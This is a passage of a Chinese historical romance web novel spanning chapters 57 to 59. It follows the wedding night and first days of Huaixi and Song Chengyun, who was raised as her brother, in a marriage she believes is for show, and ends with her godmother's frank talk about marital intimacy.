丫鬟什么时候退出去她都不知道,隔壁也不知道没了声音,待屋内的红烛爆了个火花,怀夕才好似清醒过来。 怎么一切,跟她以为的成亲不太一样。 “小艾。”怀夕习惯性地喊小艾。 但门外先一步有了动静,小艾已经走到外间去开门 小艾应是听到她的呼喊,开过门后又又走回屋内:“姑娘 有什么吩咐?” 怀夕看着外间的身影,又看了看小艾 这还怎么问。 怀夕咬了咬唇,“没事了。” “没事的话,那奴婢就先出去了。”小艾应道。 “” “去哪?”怀夕蹙了蹙眉,问道。 今晚她不守夜了吗。 小艾悄悄转头瞥了瞥外间,脸上似笑非笑,又有些说不出的羞赧,一时看得怀夕眉头紧皱。 哥哥还候在外面,或许还有什么话要交待,怀夕只能点头让小艾先下去。 小艾低着头往外头走去,怀夕也跟在她身后走到外间,待门关上,怀夕才把目光落到桌前的人儿身上。 与此同时,宋承云也朝她看了过来。 即使穿着松垮的寝衣,哥哥还是能穿出一副端正自矜的摸样 怀夕一直知道,哥哥生得好看,但不知为何,今日不敢多看。无端觉得脸上有些发烫,她落坐到宋承云旁边的座位,端起另一杯茶水一饮而尽。 烛影摇红,另一旁的宋承云,看似平静地坐在这里,内心同样擂着鼓。 这场婚事得来不算磊落,甚至在妹妹眼中,这场婚事作不得真。 可掀起她盖头时快要冲出胸膛的欢喜,作不得假。 喜乐声喧闹一日,罪恶感与狂喜就交织在他血脉里奔涌一日。 那欢喜像包裹着蜜糖的毒液,啃噬着他的心脏。 愈是欢喜,心底的谴责愈是尖锐。 他无时不刻关注着怀夕的反应,但凡她露出一丝不耐,他便会立刻走远,不愿她有一分为难。 怀夕看不出来宋承云的战战兢兢,她自己已经想通了,既然是成亲,那戏自然要作全套,不然不是很容易被别人察觉到她跟哥哥是假成亲。 想通之后,她的几分拘谨反而烟消云散。 离得近了,怀夕才发现哥哥脸上有几分薄红,身上也有一股淡淡的酒气。 她是见过他喝醉的模样的,跟现在有些像,都是这样安安静静地呆着,也不怎么说话。 不过,这次眼神可比上次喝醉时清明不少。 确实,宋承云是刻意不敢让自己喝醉的,但王司时他们再怎么帮他挡,他作为新郎官,到底还是喝下不少。 “让人送碗醒酒汤进来么?”怀夕歪着头问他。 宋承云摇头,“进来前已经喝过了。” 怀夕点头,“那就好。” “那哥哥今夜也在这里睡?”怀夕大喇喇地问着,仿佛在说着很平常的话。 宋承云难得一滞。 其实原本想坐一会便离开的,毕竟如怀夕所想,做戏是要做全套的。 或许他真的醉了,又或许他原本就是没有良知的卑鄙小人,宋承云不知怎地,还是点了点头。 “夜深了,你先进去睡吧。”宋承云神色平静地说道。 “那哥哥睡哪?”怀夕下意识问道。 “我睡外面。” 怀夕往四周张望。 外面,能躺人的只有窗边的罗汉床。 可那个位置,她平日看书窝着脚还能躺一躺,哥哥这么高大的身躯怎么躺 况且,窗边多冷,怎么能在那里睡。 “不行。”怀夕摇头拒绝。 她站起来,走到里间,左右看了看。 屋内郝然一张拨步床,连帷帐都换成红色,怀夕忽地想起今日撒帐时喜娘吟唱的撒帐歌,如今再看,这满目的红无端给人艳糜的感觉 怀夕咬了咬牙,还是爬上床。 床上叠着几床红绸被子,屋内炭火足,夜里不盖被子都不会着凉。 怀夕抱起最上面那床被子,原封不动地把它抱下来,放在床中间。 阔大的床被一分为二。 “哥哥,你进来。”怀夕在里头喊道。 宋承云手里的茶杯晃了晃,在桌沿洒落几滴水。 “哥哥。” 宋承云在那明显的催促声中,还是站了起来。 越靠近里间,妹妹身上那股清甜的香味愈发浓郁起来,宋承云觉得酒劲仿佛有些上头,这股香味在炭火的烘烤下像是加了迷魂的药,无端叫人有些晕眩。 直到走近屋内,看到眼前的场景,他的呼吸更是明显滞住。 女子乌丝如瀑布,从她肩上垂落至红色的锦被上,极致的颜色碰撞。 宋承云想避过让人晕眩的满目的红,目光慢慢往上移,落在床榻上仰着头看他的女子身上。 一身轻薄的里衣在她一番动作后,已经有了些许凌乱,微微凸起的锁骨,纤细的脖颈 避无可避,宋承云只能将目光落在她的脸上。 可心里的震颤感并没有停止。 光洁细腻的脸庞一览无余地落入眼中,在那双清透纯净的杏眸注视下,那股无法自控的心动和罪恶感交织在一起,险些让他维持不住脸上的平静。 怀夕拍了拍床外那一侧,“哥哥就睡这吧。”她的瞳仁里尽是坦荡,“反正床大着,一人一边,够睡了。” 宋承云垂下眼眸,“我睡外面。” 说着,他弯腰,准备抱起怀夕放在床沿边的另一张被子。 怀夕却按住他的手,“外头又冷有空,即使有炭盆也不够暖和,况且那么窄,怎么睡。” 宋承云想说自己可以回前院的房里睡,可一说,又与刚刚的说法相悖,妹妹定然起疑。 怀夕见宋承云还是要抱走被子,便作势要起来,“哥哥既要去外面,那我也去外面陪你冻着了。” “” 两人互相看着对方,都不再说话。 最后,还是宋承云先垂下眼眸。他将被子放下,可人却转身往外面走, “哥哥!”怀夕真有些气馁,哥哥怎么那般古板。 难道连被子都不要,就这样去外面坐着?怀夕有些急了,坐姿专为跪姿,越过中间那条锦被,就要往外面爬。 “睡吧。” 宋承云的声音很低,却足够怀夕听清。 “我去吹灯。” 昏暗中,怀夕嘴角慢慢上扬。 与哥哥对峙成功的喜悦将她原本也有些拘谨的心情冲散,直到哥哥在她身旁躺下 他们之间隔着一条锦被,可是距离还是很近。 屋内还有淡淡的光影,新婚的红烛是要燃一整夜的。 怀夕能听见屋外簌簌的雪落声,也能听到哥哥清浅的呼吸声。 她跟哥哥一直以来都很亲近,但也不曾这样近过 近到她稍微动一动,或许就能碰上他 锦被下的手无端变得紧绷,怀夕突然反思起自己刚刚的做法。 哥哥会不会觉得自己太随便? 哪有女子一直坚持让另一个男子睡到自己床上 但他是哥哥啊,怀夕心里又忍不住反驳道。 从一开始的反思到后来开始胡思乱想,在熟悉的床上,熟悉的人身边,怀夕渐渐起了睡意,整个人都柔软下来 而直到身边的呼吸开始变得平稳,宋承云才慢慢睁开眼睛- 怀夕在王府呆了好些日子,可回来后也丝毫不认床,胡思乱想不到一刻钟就深深地睡了过去。 宋承云料想到自己会一夜无眠,可没想到,是让自己这般无措的无眠。 身旁女子的睡姿,这般 这般无状。 中间隔着的那床锦被形同虚设,甚至在她几次翻身后,被她踢到床尾。 宋承云不厌其烦地帮她盖着被子,直到卯时初,才有了些许困意,也睡了过去。 可怀夕不知怎么睡,几个翻身,将自己身上那床被子翻压到身下,许是睡梦中有些寒凉,她凭着本能离宋承云越来越近,最后掀开他被子 的一角,钻了进去。 宋承云猛地睁开眼,睡意全无。 侧着身子睡在床沿,他已经退到无法再退了。 毛茸茸的头不知何时顶到他的胸前,宋承云身子不禁紧绷起来。 小姑娘睡得正酣,呼吸绵长,半张脸埋在被褥里,长长的鸦羽覆下一片淡淡的阴影。 她的长发因她的动作散落在被褥上,有几根落在他的脖颈边。 有些痒,但宋承云却不敢动。 即使此刻是做梦,他也感谢上天的馈赠。 第58章 第58章掩住眼底汹涌 怀夕醒来时,宋承云已经坐在外间看书了。 婚后有五日的休沐,宋承云见怀夕睡得香甜,并未让丫鬟进来侍候,因此他身上还穿着昨夜的寝衣。 听到屋内有了响动,宋承云翻着书页的手静止了一瞬。 炭火烧得旺,睡了一夜,怀夕觉得整个人就像快干涸了一样。 她闭着眼,如同往常时喊了一声小艾。 很快,脚步声往床边靠近。 怀夕在被子里伸了个懒腰,才懒洋洋地睁开眼。 显然,看到眼前人,怀夕才意识到——昨夜哥哥是在这屋里睡的。 她成亲了。 她又垂眸看了看自己的位置 她不是睡在床内侧吗? 怎么睡到床沿来了? 宋承云站在一旁,耐心地等着她清醒。待怀夕自己扶坐起来,才把手里的温水递给她。 看着满室的红艳和身着寝衣的哥哥,怀夕愣愣地接过,本能地抿了几口。 见她不再喝,宋承云将杯子从她手中拿回,轻声问:“让丫鬟进来?” 原来哥哥是在等自己起身么? 怀夕点头说好。 听到屋内叩桌的声音,在屋外等了好一阵的小艾这才推开门,带着一众丫鬟鱼贯而进。 宋承云挥退了要上前侍候的丫鬟,那丫鬟站在原地有些无措,以为是自己做错了什么。好在小艾看到,从那丫鬟手上把衣服接过,又呈给宋承云。 宋承云接过后自己穿戴起来,拾掇好之后径自出到外间。 而怀夕就被几个丫鬟簇拥着,换了衣物,又推到梳妆台上梳起了妆。 其实怀夕本想说不必那么麻烦,等会又不用拜见长辈但珍珠还是认真地替她盘起了妇人的圆髻,还嵌上一只并蒂海棠步摇。 怀夕左右看了看,觉得有些隆重,便示意珍珠拿掉,自己在妆盒里挑了一支白玉簪子递给她。 珍珠替她簪上后,还是觉得有些素净,又选了一对累丝嵌红宝石的珠坠戴上。 小艾在旁边看着,夸赞道:“姑娘,这珠坠衬得姑娘脸色真是好看。” 怀夕于是凑到镜前,又看了看,倒算清亮,于是就任由珍珠戴上了。 此次成婚,宋承云有五日的婚假,所以今日便如同往常休沐一样,无论多晚,宋承云都等着怀夕用早膳。 只不过以前在偏房等着,如今就坐在怀夕屋里等着。 宋承云坐在外间几近看了半本书,怀夕才被丫鬟拥着从里间走了出来。 新婚几日的衣物都是夏敏替她准备好的,今日怀夕换上的是一件大红如意锦纹掐花对襟长褂,衬得她肌肤更是莹白胜雪。 宋承云看到怀夕的那一刻,显见地怔了怔。 怀夕也不太习惯如今的装扮,看到哥哥有些惊讶的眼神,有些不好意思,她抿了抿嘴,问:“是不是不好看?” 她就是觉得有些过了 “好看。”宋承云没有丝毫犹豫地接过话。 好看地有些晃眼。 “真的?”怀夕压不住嘴角的笑意,歪着头再次确认道。 “嗯。”宋承云轻轻点了点头,“走吧,用膳吧。” “好。” 用膳前,两人先在父母的牌位前上了柱香。除了装点得十分喜庆的宅子和多了几个婢女,怀夕觉得成婚的日子和婚前并无什么两样。 昨夜断断续续下了几场雪,今早又停了,屋外是还没来得及轻扫的积雪。 用过膳后,宋承云问怀夕想做什么。 怀夕摇了摇头,外头实在冷,她也没有什么想做的。 “回房?还是去书房?”宋承云又问道。 “书房吧。”怀夕应道。 屋里到处都是红艳艳的,连被褥都是 这婚成的,跟真的一样 昨日累得无暇顾及,今日再看,心里不知怎地,总觉得有些别扭。 “好。” “等会。”怀夕见宋承云要走,拉住他衣袖,“带上年年?” 离开家里好一阵子了,昨日回来也没来得及见年年,怀夕还挺想它的。 看着怀夕期待的眉眼,宋承云微侧头吩咐:“松毫,你去抱过来吧。” 看着面前女子满足地点点头,又笑眼弯弯转头吩咐丫鬟回房里带上那只小猫奴的一应零嘴物品,宋承云清疏的黑眸里不禁也带了一点笑意。 今日虽没什么风,但在门口站久了还是有些冷意。 见怀夕还站在门外絮叨吩咐丫鬟,脸颊被寒风吹得有些微红,宋承云索性叩住她的手腕,拉着她往前走。 怀夕被突然一拉,忍不住诶了一声,“哥哥,我还没说完。” 宋承云不回头,握着她手腕的手也没有放开。 “哥哥!” “天冷。”宋承云脚步缓了缓,“交给他们就好。” 一只小猫奴,值当她这般费心? 被哥哥拉着有些趔趄,怀夕只好小跑着跟上他的脚步,只是不忘回头跟松毫喊道:“记住要拿个毯子抱着,年年怕冷。”- 宋承云的生活其实很单调,给他一卷书,他能安静地坐上一日。 只是怀夕不行。 进了书房,在她的桌子上看了不到一刻钟的书,待松毫把猫送了进来,她的心思就全然到了年年身上。 今日为应景,丫鬟们给年年身上套上一件红色布兜,布兜上还绣了几朵大牡丹,穿在它身上有些滑稽的可爱。 只是年年不那么喜欢,躺倒在怀夕的膝头上翻滚着,小爪子不停地想扯掉那块小布兜。 本就是防寒用的,书房里暖和,见年年实在不喜欢,怀夕只好伸手把布兜解开。 年年被释放后心情极好,对着怀夕喵喵两声,之后便跳下她的膝盖跑开了。 怀夕追着它出去,果然见到令她担心的一幕。 年年正蹭到哥哥的脚边,咬着他的衣摆 显然,哥哥有些不耐,轻轻地想将他踢开。 但小猫奴以为那个冷淡的男主人突然愿意同它玩,扯得更起劲。 怀夕叹了口气,赶紧走过去蹲下,硬是从年年爪中拉走衣摆,然后把它紧紧箍在怀里。 “怎么不乖?”怀夕用自己的头顶着小猫奴的头,质问它。 小猫奴被束缚住,明显不愿意,只是挣脱不开,所以气势汹汹地用小奶音对着怀夕喵了几声。 看着她们旁若无人的主宠情深,宋承云眼睑垂了垂,放下手里才翻了几页的书。 本就看不进去。 他站了起来,从怀夕怀夕把小猫奴提了起来,又放到地上,表情似闪过一丝嫌弃。 毛茸茸的东西,不知道她为何这般喜欢。 “陪我下盘棋?”见怀夕又想蹲下,宋承云立马说道。 果然,怀夕止住动作,笑着说道:“好” 坐到窗边榻上,放好棋盘,照例是猜子定黑白。 不过这次怀夕没耍赖,猜了双数,果然是对的。 这次她选了黑子。 执黑先行。 她执子落在天元处。 不知是宋承云故意放水,还是他本就有些心不在焉,这盘棋下得很是胶着。 但怀夕显然不察,多次不敌哥哥,这次能在他手上走了那么多个回合,她很是投入在棋局中。 不知道第几次,宋承云又在等待间隙抬眸看怀夕。 除了昨日,这是他第一次见妹妹穿正红色的衣裙。 正如刚刚在屋内回答的一样,很好看。 典雅的正红色淡去了两份稚嫩,却为她平添了几分娇媚。 红衣墨发,柳眉弯弯,眸若春水,盘起发后更显脖颈细长,肌肤胜雪。 读圣贤书多年,他一向认为,君子应不为五色所眩,不为声色所迷。 可眼下,他想不出任何比这更美的场景。 不,不止是眼下。 从昨夜到现在,自己便一直像踩在浮冰上一样,明知再走下去就是万丈 深渊,可他还是一步一步,放纵自己越陷越深 怀夕落子已经好一会,见宋承云许久没有动作,从棋盘上抬起头。 “哥哥?” 宋承云目光虚虚落在她脸上,仿佛隔了一层薄雾,直到怀夕轻唤他一声,他才蓦然回神一般。 “嗯?” “到你了。”怀夕说道。 “哦。” 宋承云从棋娄里捻起一枚白子,无须思考一般,直接落下。 怀夕皱了皱眉,原本想责怪哥哥不要放水,可垂眸一看,哥哥这招,又把她挟制住了。 原本以为看到胜算,不想又被逼得只能防守,怀夕的胜负欲罕见地被挑起来,又开始埋头认真推演起来。 宋承云见状,弯了弯嘴角,忽然觉得,她喜欢那只小猫奴,似乎情有可原。 都是动不动就炸毛,又悄无声息地平和下来 怀夕的棋是宋承云一手教的,不过她平日爱看棋籍,杂七杂八的门类都看,所以下棋的招式比之宋承云这个师傅更诡谲多变一些。 但弟子到底是很难超越师傅的,况且,师傅的应变能力一绝,怀夕最后还是输了几子。 不过比之平时,这次算是势均力敌,下得也算酣畅淋漓,所以即使输了,怀夕脸上还是兴致勃勃。 “再来一盘?”怀夕眼神晶亮,问道。 宋承云端起一旁的茶壶,斟满一杯茶放到离她手指一寸远处,“已到午时了。” “这么晚了?”才下了一盘棋,怎么又到用膳的时间了。 话音刚落,怀夕便有些后悔,还不是自己睡到日上三竿,用早膳时就已是巳时了 原本以为哥哥在旁边,她定然睡不好,没曾想,反而睡得更香 怀夕抿了抿茶水,脸颊隐隐浮起一层薄红,难得挤出一个略显局促的笑,“那午后再下吧,先用膳。” “好。”宋承云柔声应道。 用过午膳后,怀夕困意很快就上来了。 宋承云见她打了个哈欠,放下筷子,道:“走一圈再回去吧。” 吃完就躺下,怕她积食。 怀夕说好。 原本有些困意,可一出到回廊,被冷风一吹,瞌睡虫立刻又躲起来了。 两人在回廊里走了几圈,又走到怀夕院前时,宋承云停住脚步:“进去吧。” “哥哥不进去吗?”怀夕转过头看他,下意识问道。 “嗯,我还有些事要处理。” 一如既往平静地声线。 “好吧。”怀夕点了点头,“那我睡醒后再去书房找你?” 见宋承云颔首,怀夕这才带着小艾满意地踏进自己的院子。 待怀夕走后,松毫才往前走近。 松毫与小艾一样,自小跟在宋承云身边。 松毫心细,其实之前就有些察觉到自家公子对姑娘有些不一般的感情。 只是不敢确认,况且,能被宋承云认可带在身边的人,首要一点就是知道什么该说什么不该说。所以即使松毫真的察觉到些什么,也从来都不曾表露过。 他知道公子是胸有沟壑的人,况且,公子也从未越过雷池一步,不是吗? 若不是那时酒醉,连他也不可能发现任何端倪。 见姑娘已经走远,而公子却还定定站在原地看着姑娘的背影,松毫不禁想,公子是真的很喜欢姑娘啊。 公子心想事成,松毫比任何人都高兴,所以语气也比平日松快几分,“公子,是回书房还是回林渊阁?” 林渊阁是宋承云原来住的院子。 原本以为公子刚新婚,心情定是不错,不料刚说完,就见公子淡淡地瞥了他一眼。 松毫不禁噤声垂下头,心里却嘀咕着:不应该啊,都成亲了,公子怎么还一副不高兴的样子- 原本说是午后到书房找哥哥下棋,但怀夕睡了一觉,便把这事抛到脑后。 因在王府住了好些日子,怀夕又带了好些东西回来,其中就有王郁心送给她的一套叶子牌。 怀夕让小艾找出来,又叫了翡翠和琥珀进来,正好凑齐四人,几人玩了有半个时辰。 “不玩了,再玩下去,奴婢今日收到的封红都要输光了。”小艾连输几把,立马就不愿意了。 怀夕其实也没赢多少,但见小艾气急败坏,反而更起兴,“都说了不该那样打,你偏不信,你看翡翠和琥珀多厉害了,都出师了。” 开始玩之前怀夕大概跟她们三讲了一下规则,翡翠和琥珀上手很快,怀夕也只在前头赢了几把,后面便一直输了。 “不玩了。”小艾扁嘴,“奴婢去厨房看看刘婆子要不要帮忙。” “好啦好啦,不逗你了。”怀夕拉住小艾,从她自己荷包里掏出赢来的几枚银钱,“还给你吧。” 翡翠和琥珀捂着嘴笑个不停,小艾倒不客气,接过来就放进自己荷包。 “不过,你刚刚说的封红是什么?”怀夕宠溺地看着小艾,突然问道。 “姑娘不知道吗?”小艾把荷包又放回去,“晨起松毫捧了一匣子封红,让奴婢派下去,说是姑娘让打赏下去的。” 哦怀夕点了点头,既是松毫说的,那便是哥哥替她安排的,怀夕没再说什么。 “去吧,你同刘婆子说不用准备太多菜,同平时一样即可。” 小艾应是,翡翠和琥珀便开始收拾床上的叶子牌也退下了。 宋承云在书房坐了一个下午,也没等到那个说要来找她的人。 不过到了黄昏时分,怀夕倒是派了人来请他回去用膳。 听到门外的说话声,宋承云把一个下午都没看完的书倒扣在桌上,站了起来。等松毫想进来通报时,他已经自己打开门。 松毫看到门从里打开,有些惊讶,但仍不忘先传话:“公子,是夫人让琥珀来请您去用膳。” “嗯,走吧。”宋承云淡淡说道。 “” 看着宋承云已经往前走了几步,松毫有些惊讶,公子出来得那般快,难道是一直在等着夫人来么?- 和往前一样,照例在怀夕院里的偏房用膳。宋承云挑帘近来时,怀夕已经在里面等着了。 看到宋承云,怀夕招手叫琥珀:“上菜吧。” 如今家里的丫鬟又多了几个,刘婆子有了帮手,虽特意让她少做点菜,但刘婆子觉得主家才新婚,还是比平日多做了两道,毕竟是晚膳,还是做得素净些。 菜色基本都是怀夕爱吃的,一道清蒸鲈鱼,一道胭脂鹅脯,两道时蔬,两盅温补的鸡汤,还特意为怀夕做了一碗银耳蜜枣羮。 用膳时宋承云很少主动说话,多是怀夕说什么,他答什么,但今日他却罕见地先开了口。 他把鸡汤拿起来,放到怀夕刚好可以舀的位置,收回手时,状似无意地问道:“午后在做什么?” “啊?”怀夕把嘴里的鱼咽下后,才说道:“哦,懒得换衣,跟小艾她们在屋里玩了一会叶子牌。” “嗯。”宋承云淡淡应道,瓷白的面容上依然没什么表情,只是眉心一道几不可见的细纹泄露了情绪。 看着眼前碗里突然多出的几根青绿时蔬,怀夕皱了皱眉,抬头看宋承云。 哥哥执筷的动作与他拿笔时一样好看,修长的手指拢着乌木筷身,夹菜时动作轻缓得如同拈起一片薄雪 怀夕忽然觉得碗里的那片嫩笋也没那么难接受了 她宋承云夹给她的那片嫩笋送到嘴里,吃完后忽然想起自己午膳时说过要去找他的,于是问道:“哥哥等我了吗?” “没有。”宋承云淡淡摇头。 “那就好。”怀夕弯眸笑了笑,放下筷子,去喝那盅鸡汤。 两人坐下不久,窗外便已经黑透了。 下雪的日子,一入夜外头愈发冷。 怀夕想早些梳洗,早些回床上躺着取暖,用过膳后,便对宋承云说道:“哥哥,那我先回去梳洗了。” “嗯。” “那哥哥早些过来。”说完后,怀夕又转身对小艾讲:“你让松毫送些衣物过来,省得哥哥两头跑。” 小艾应是。 宋承云垂着眸 ,看不见眼里的神采,只放在腿上的指尖不经意地颤了颤,终究还是没有说什么。 怀夕梳洗完出来的时候,看到宋承云在屋里时,并不惊讶。 她说:“净房已经收拾好了,哥哥快去吧。”说完后,便带着小艾走近内间。 宋承云听到里头有瓶瓶罐罐相碰的声音,很快又是怀夕清清甜甜的声音,“这个香膏郁心也说好闻,下次买多几罐送给她” 之后主仆两人又说了什么,正好屋外松毫敲了敲门,宋承云没听清。 等他从净房出来,屋里已经没了声音了。 宋承云在外间坐下,有些犹豫,其实天色还早,往常他还会去一趟书房。 里头的怀夕听到脚步声,喊了声:“哥哥。” 轻轻一声催散宁静的薄雾 宋承云眼睫微微一颤,像是咽下了什么未说出口的话。 他抿紧嘴唇,到底还是回了句:“何事?” “哥哥帮我看看,外头狐毛毯上是不是有本书?帮我拿进来”怀夕已经盖着被子在床上坐着,好不容易暖和,显然她并不想脱离被窝 宋承云转头去看,那张纯白的狐毛毯上确实叩着一本书,书页夹缝上还露出一抹青色。 他起身去拿书,连带那抹青色一起拿进屋里。 帷帐还未落下,床上的风景一览无余。 女子穿着一身浅红的里衣,盘了一日的发髻此时已垂下,用只白玉素簪松松地挽起来,几缕发丝散落在颊边 仿佛初绽的花朵,皎洁无邪,一举一动都牵动着人的心神。 偏偏她自己什么都不知道。 “拿过来呀。”见宋承云站在帘边不动,怀夕催促道。 宋承云垂下眸,往前几步,走到床前,将书递给她。 待怀夕接过,他便转身要走。 可那道清软的声音又响起:“那么冷,哥哥索性也把书拿过来这里看吧。” 外间宽阔,烧着炭盆也没有里间暖和。 “不” 宋承云的拒绝还未说出话,女子又把他刚递过去的书又递回来。 “算了,要不哥哥给我念书好了。” 怀夕是真的不把宋承云当外人,说完后就掀开被子整个人躺了进去,还侧过脸来看着宋承云。 “” 看着怀夕这般坦荡随性,宋承云的心里止不住有些酸涩。 她这样信任自己 修长的手指微微收紧,又缓缓松开,最后只是安静地搭在袖边。 最后,他还是翻开她说的那一页,坐在床沿替她念起了书。 怀夕向来是沾床就睡的睡相,一开始还认真地听着,没多久,眼睛渐渐开始迷蒙,睁一会闭一会 宋承云一直侧对着她,目光低垂在书上,从不旁移,因此对于身旁女子早已迷糊浑然不知。 直到听到轻轻的鼾声 被窝隆起,她侧着身子蜷缩成一团,一只手露在被褥外面。 她的一缕发丝铺盖在闭紧的眼睛上,连睡着时嘴边还有浅浅的弧度。 整个人娇软地不像话 那支白玉簪子松松垮在发间,宋承云伸手,想替她拔下。她一晚上不知要翻身几次,若不拔下,怕会误伤了她。 他的动作放得极轻了,可待簪子落到他手中,女子的眼睫还是颤了颤。 怀夕并不是被宋承云吵醒,只是心里还想着一桩事,所以睡得并不安稳。 “哥哥。”刚刚苏醒,怀夕的声音软软的,又有些低哑。 烛光或许是被窗外的一丝微风吹拂,略过宋承云清冷如雪的俊脸上,将那一闪而过的慌乱化作明明灭灭的光影。 明明只是替她拔下簪子,可女子睁眼的瞬间,宋承云却涌出一股难以抑制的心虚,仓皇移开视线。 他身子往后退了退。 怀夕揉了揉眼,推开被子,自己坐了起来。 宋承云见她伸手过来,以为她要拿回自己的簪子,他将簪子往前递。 不料掌心忽然被捧住,暖玉般的触感在指间一触而过,随后他看到一枚青色的荷包。 这枚青色荷包被怀夕握在手心许久,放到宋承云掌心时,还有些温度。 是刚刚看到的那抹青色。 宋承云手还维持着平放的姿势,神情难得有几分怔愣,静静地看着怀夕。 “给哥哥的生辰礼。”怀夕弯着眸说道:“虽迟了几日,不过我准备了许久。” 少女莞尔一笑,眼眸如碧波澄澈,仿佛世间所有的阴暗在她眼前都只能化为无形。 “哥哥,生辰安乐。” 她的目光太过炽烈,宋承云眼皮忍不住一颤,不动声色地将手从她温热的掌心上抽了出来。 “喜欢吗?”怀夕期待地看着他。 宋承云垂眸,在她的注视下仔细地看着那枚荷包。 双面绣,一面绣着竹子,再翻开另一面,绣的居然是他的字。 伯卿。 黑沉沉的眸子里隐晦如深海,浓密的眼睫投下一片阴影,恰好掩住眼底汹涌。 “喜欢。” 哥哥的声音低沉又坚定,仿佛宣誓一般认真,怀夕反倒有些不好意思。 “绣的不是很好,哥哥在家里戴着就好了。”怀夕忍不住又打了个哈欠,“好了,睡觉了。” 她掀开被子滑进去前不忘吩咐,“哥哥把外面的灯吹熄了就进来睡吧。” 说完后,她便闭上眼。 “” 宋承云暗暗叹了口气,出去吹灭了灯,又静静地走回来,掀开被子,躺了进去。 被窝还有些凉,可掌心的那枚荷包,却灼热地有些烫手。 第59章 第59章这种事容易食髓知味 第三日是回门的日子。 王司时和王司岩兄弟一起来接怀夕回门。 回门礼是宋承云亲自打点准备的,装了整整一马车。 回去时,四人一起坐在同一辆马车里。宋承云跟他们兄弟相熟,路上一直断断续续说着话。 不过因马车里有怀夕,所以也不聊朝堂上的事,想到哪说到哪,偶尔也把话题扯到怀夕熟悉的人身上。 到了王府,王郁心和马嬷嬷早已经在门口等着了。见怀夕从马车下来,王郁心快步走过来搀过她的手,两人对视着,眼里俱是笑意。 马嬷嬷走过来行礼,笑盈盈地说道:“老爷和夫人一早就等着姑娘和姑爷回来了。”她在前面引路,将他们请到正院的厅堂上。 到了厅堂上,敬了茶,也没有多叙,一行人又换到老太师的院子里,怀夕和宋承云给老太师磕了头,这回门的礼仪才算完整。 磕过头后,宋承云和王楚修父子便留在正厅上和老太师喝茶,怀夕则跟着夏敏和王郁心退到院里的花厅去。 老夫人是个温和的性子,问了怀夕好些话,见她言语间皆如未出嫁前,还有些童言童语,一时觉得有些好笑。 只是笑过之后又不禁想,小姑娘嫁人才几天,嫁的又是自己最亲近的人,能看到什么变化不成。 怀夕和老夫人说话的时候,夏敏也仔细瞧着她,见她面色红润,神采飞扬,悬着的心终于落到实处。 她很确定,小姑娘脸上的喜悦不是作假的。 问都无需问,即使不看怀夕的神色,单从往日他们的相处,也猜得出来,宋承云对怀夕简直是宠到没边。 如今兄妹身份虽变了,可怀夕脸上的神情没有变,还是那样欢乐,那这门亲到底算是没有结错。 祖母在身边,王郁心不如平日那般跳脱,不过听她们说话时,有时也忍不住说几句。 她笑着朝王老太太和夏敏说道:“刚 刚在门口,我差点没改口姐夫,还叫承云哥哥,好在刘嬷嬷提醒我,不然怀夕姐姐可该不高兴了。” 王老太太笑着吃茶,夏敏没忍住瞪了王郁心一眼,“我都跟你说了几遍,怎么还能叫错。” 夏敏转头对王老太太说:“母亲替我好好说说她,这小妮子,我实在教不了。” 王郁心哼了哼,扑到王老太太怀里,王老太太笑着搂住她:“这小金宝,我可舍不得说她。” 夏敏不看她,搂过在她身侧的怀夕,“那就让你怀夕姐姐教训一下你。” 怀夕于是叉了叉腰,作严肃状:“那就交给我吧。” 一番情状,惹得厅堂上的人都笑开。 在老太太院里吃过晌午饭,太师夫妇要休息,夏敏又带着她们回自己院里说贴己话。 王郁心毕竟还未出阁,说了一会话,夏敏就把她支开。 今日珍珠特意为怀夕的眉心描上花钿,颜若朝华,配上她身上的大红衫裙,让她整个人多了几分张扬的艳色。 但夏敏不是无知的小姑娘,成婚多年,自己的大女儿也刚嫁人没有多久,她知道,新婚的小娘子不应该是怀夕这般神态。 她们提到承云时,怀夕的脸上没有任何娇态 清透的眼眸里透出来的,依然是从前那股懵懂和天真。 不是说不好,而是 夏敏在心底琢磨了一会,才试探着问道:“我听说,新房是拿你原来的院子改的。” 怀夕点头说是。 “如今你们俩成婚,我想着,那座宅子终究还是小了些。” 怀夕回道:“不小啊,就我跟哥哥两人住,还有两三间房空着呢。” 夏敏听完,皱了皱眉,“怎么还唤哥哥,该改口了。” 若是被有心人听到,又不知道会闹出什么事。 怀夕也知道在外面要改口,但叫习惯了总是忘记要改口。 况且不叫哥哥,那叫什么,夫君吗? 想到要这样称呼哥哥,怀夕心里不由得颤了颤,觉得有些奇怪。她缩了缩脖子,还是应道:“知道了。” 夏敏的性子惯来不会拐弯抹角,她牵过怀夕的手,不算很隐晦地问道:“我是说,你们如今有没有睡到一间房?” “有啊。” 有? 夏敏见怀夕脸上坦坦荡荡,毫无羞赧之意 虽说怀夕性子向来比较无拘,但这也坦荡地有些离谱 夏敏心里隐隐有些猜测,继续问道,“是睡同一张床么” “是啊。” “” 眼看问不出来什么东西,夏敏不死心,索性豁出去,“那承云他,”看着怀夕纯净的眼眸,她咳了咳,“他有没有对你做书上那些事情?” “” 夏敏给的那盒子书,怀夕都不知道被小艾放到哪个旮旯角落可当时刚拿到手的时候,她还是瞥过好几眼的,所以自然也听懂夏敏话里的意思 怎么可能?! 怀夕的脸忽地红了个彻底,耳尖烫得仿佛要融化一般。 “干娘!”怀夕摇头,羞赧地恨不得找条地缝钻进去。 夏敏其实也有些不好意思,可怀夕身边没有长辈,她既作了她的干娘,自然要负起相应的责任。 在她一番追问下,果然,怀夕的回答与她的猜想一致。 夏敏认为,两人既结作夫妻,自然不能再以之前兄妹的方式相处。 男女之事讲究你情我愿,虽强求不来,但总要有一方主动。 她估摸着,承云疼惜怀夕,恐怕一时半刻舍不得吓到她。 可怀夕还是半大孩子心性,夏敏一时间也不知道如何同她提起,于是捏着手绢欲言又止。 但她总不能还像个小姑娘家的,提起这种事就羞赧地不行,最后她还是拿出了长辈的风范,拍了拍怀夕的手,语重心长地说道:“夫妻敦伦乃天纲伦常,没什么好害羞的。” “干娘与你大姐姐也说过,这种事情,初时也是要学的。”夏敏是个爽朗的性子,既然话都开了头,那就要好好把自己的经验同怀夕分说分说。 普通的春/宫图大多以男子视角为主,多是坊间青楼流传出来的。 男女欢爱,不止为繁衍子嗣,但凡体贴爱重妻子的男子,都希望妻子也能在这样的乐事中得趣。 夏敏给怀夕选的,多是在宫廷高门间女眷们流传的精品。 但有些事情,只能意会无法言传,夏敏尽量说的好理解些,“那几本秘戏图,是干娘特意让嬷嬷精选的,你将来就知道了,这种事情,女子的感受也是很重要的。有的时候,主动一些,会有不一样的体验” 